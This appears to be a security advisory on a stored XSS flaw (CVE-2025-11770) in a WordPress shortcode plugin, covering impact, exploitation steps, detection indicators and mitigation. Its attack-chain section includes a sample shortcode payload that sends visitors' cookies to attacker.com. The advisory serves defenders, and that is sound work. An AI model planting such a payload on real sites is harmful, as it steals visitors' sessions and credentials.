CVE-2025-11770: 
WordPress vulnerability analysis and mitigation

CVE-2025-11770 is a Stored Cross-Site Scripting (XSS) vulnerability in the BrightTALK WordPress Shortcode plugin for WordPress. It affects all versions up to and including 2.4.0, and was published on November 21, 2025, with Wordfence as the reporting CNA. The flaw allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the format attribute of the brighttalk-time shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from insufficient input sanitization and output escaping of the format shortcode attribute within the brighttalk-time shortcode handler. The vulnerable code is visible in the plugin source at line 130 of brighttalk-wp-shortcode.php (version 2.4.0), where user-supplied attribute values are rendered into page output without proper escaping. An attacker with at least contributor-level WordPress access can craft a shortcode containing a malicious JavaScript payload, embed it in a post or page, and the script will execute in the browser of any user who visits that page (Wordfence, Plugin Source).

Successful exploitation allows injected scripts to execute in the context of any site visitor's browser session, enabling session hijacking, credential theft, redirection to malicious sites, or defacement. Because the payload is stored server-side, all users who access the affected page are impacted — not just those who click a crafted link. The scope is changed (S:C in CVSS), meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors, though availability is not directly affected (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11770. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the BrightTALK WordPress Shortcode plugin version 2.4.0 or earlier, and obtain or register a contributor-level (or higher) account on the target site.
2. Craft malicious shortcode: Compose a post or page using the brighttalk-time shortcode with a malicious format attribute, e.g., [brighttalk-time format="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
3. Publish content: Submit the post or page for publication (contributors may require editor approval, but editors and above can publish directly).
4. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser context, potentially stealing session cookies or performing actions on their behalf (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing brighttalk-time shortcode with unusual format attribute values including HTML tags or JavaScript.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or encoded JavaScript within brighttalk-time shortcode attributes.
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after loading pages containing the brighttalk-time shortcode, potentially visible in web server or CDN logs.
• Process/Behavior: Browser-side alerts, unexpected redirects, or cookie exfiltration attempts observed by site visitors on pages using the affected shortcode.

Site administrators should update the BrightTALK WordPress Shortcode plugin to a version beyond 2.4.0 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict contributor-level user permissions or disable the ability for contributors to use the brighttalk-time shortcode. Reviewing existing posts and pages for malicious format attribute values in brighttalk-time shortcodes is also recommended (Wordfence).